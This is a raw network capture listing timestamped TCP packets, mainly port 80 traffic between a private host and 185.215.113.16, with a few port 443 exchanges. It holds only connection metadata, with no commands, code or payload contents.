Nov 1, 2024 08:51:36.627079964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627080917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627098083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627103090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627115965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.627123117 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627137899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.627157927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.660955906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.660973072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.660990000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.661009073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.661032915 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.708909988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.708935022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.708976984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.709002018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.709795952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.709810019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.709846973 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.712826014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.712841988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.712872982 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.712888956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.713808060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.713821888 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.713859081 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749358892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749386072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749402046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749414921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749418974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749444008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749444962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749461889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749475956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749495983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749511003 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749516964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749535084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749550104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749568939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749577045 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749593019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749624014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749874115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749888897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749903917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749922037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749929905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749942064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749944925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749960899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749978065 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.749983072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.749994040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750022888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750024080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750040054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750056028 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750072002 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750078917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750119925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750138998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750178099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750261068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750283003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750298977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750308990 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750317097 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750332117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750336885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750346899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750349998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750368118 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750375986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750380993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750407934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750436068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750551939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750566959 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750582933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750600100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750602961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750623941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750636101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750639915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750655890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750675917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750679970 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750684977 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750698090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750713110 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750735998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.750735998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750751019 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.750776052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751044035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751137018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751152039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751167059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751182079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751198053 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751209974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751219988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751235008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751239061 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751251936 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751266956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751267910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751282930 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751286030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751302004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751321077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751332045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.751343012 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.751372099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.784817934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.784912109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.784957886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.784972906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.784986019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.784997940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.785017967 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.785032034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.813211918 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.813280106 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.814503908 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.814511061 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.814750910 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.815989971 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.816319942 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.816351891 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.816688061 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.816699028 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.833718061 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.833754063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.833791971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.833805084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.833843946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.833870888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.837707043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.837724924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.837789059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.837807894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.837825060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.837847948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.837877035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873264074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873312950 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873317957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873334885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873352051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873364925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873367071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873384953 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873395920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873421907 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873430967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873445988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873461962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873467922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873502970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873666048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873681068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873697996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873728037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873754978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873759031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873776913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873792887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873809099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873811007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873831987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873859882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873871088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873887062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873908043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.873908997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873930931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.873944998 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874020100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874047995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874064922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874070883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874092102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874093056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874109983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874119043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874149084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874161959 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874185085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874226093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874233007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874257088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874273062 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874300957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874306917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874346972 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874346972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874363899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874388933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874409914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874412060 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874429941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874471903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874501944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874533892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874540091 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874550104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874573946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874587059 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874619961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874634981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874653101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874666929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874690056 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874764919 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874806881 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874810934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874824047 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874850988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874855995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874869108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874872923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874888897 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874897957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874912977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874917984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874929905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874938011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874948025 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874953032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.874955893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874964952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.874994040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875020027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875346899 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875361919 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875377893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875391960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875406981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875407934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875423908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875437021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875447035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875453949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875461102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.875484943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.875504017 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.878329039 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.878355026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.878376961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.878392935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.878467083 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.878480911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.878520012 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.909230947 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.909246922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.909262896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.909281969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.909307957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.957889080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.957926989 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.957942009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.957947969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.957976103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.957987070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.961867094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.961883068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.961898088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.961944103 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.961968899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997405052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997435093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997450113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997459888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997478008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997499943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997502089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997517109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997539043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997540951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997556925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997556925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997579098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997582912 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997595072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997600079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997617006 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997638941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997646093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997661114 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997675896 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997685909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997703075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997704983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997718096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997729063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997735977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997752905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997756004 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997781038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997797966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997806072 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997833014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997843981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997847080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997864008 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997883081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997888088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997904062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997912884 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997921944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997947931 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997977018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.997978926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.997996092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998037100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998099089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998157024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998157978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998173952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998189926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998218060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998218060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998219013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998235941 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998239040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998251915 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998260021 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998271942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998276949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998291016 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998294115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998311043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998317003 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998331070 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.998332977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.998348951 CET	80	57777	185.215.113.16	192.168.2.4
